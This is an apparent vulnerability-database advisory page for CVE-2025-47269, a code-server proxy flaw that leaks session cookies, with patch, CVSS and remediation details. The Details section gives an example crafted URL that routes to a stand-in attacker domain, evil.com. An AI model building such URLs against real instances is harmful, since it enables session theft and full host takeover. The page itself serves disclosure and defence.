CVE-2025-47269 — Vulnerability in code-server — CVE Details
code-server's session cookie can be extracted by having user visit specially crafted proxy URL
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (1.00%). Schedule for your next planned update.
Does your project use an affected code-server version?
Paste your package-lock.json to check it for CVE-2025-47269 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.
Details
Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token.
Impact
Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.
Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.
With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.
Patches
Patched versions are from v4.99.4 onward.
Advisory Timeline
- First published May 9, 2025 (566 days ago).
- Last revised September 10, 2026 — 488 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install code-server@4.99.4
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| code-server npm · Affected: All versions | 4.99.4 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-441
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.3 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
References
- https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cjWEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-47269ADVISORY
- https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299eWEB
- https://github.com/coder/code-serverPACKAGE
- https://github.com/coder/code-server/releases/tag/v4.99.4WEB
Frequently Asked Questions
- What is CVE-2025-47269?
- code-server's session cookie can be extracted by having user visit specially crafted proxy URL. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.3/10).
- How do I check if my project is affected by CVE-2025-47269?
- CVE-2025-47269 affects code-server. It has a 1.0% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-47269 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 61.9% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-83816HIGH
CodeWhale: exec_shell parallel-readonly classifier auto-approves fd/rg/git grep exec flags enabling silent RCE
- CVE-2026-83817HIGH
CodeWhale: Automation auto_approve defaults to true, bypassing the task-path hardening fix for silent recurring agent execution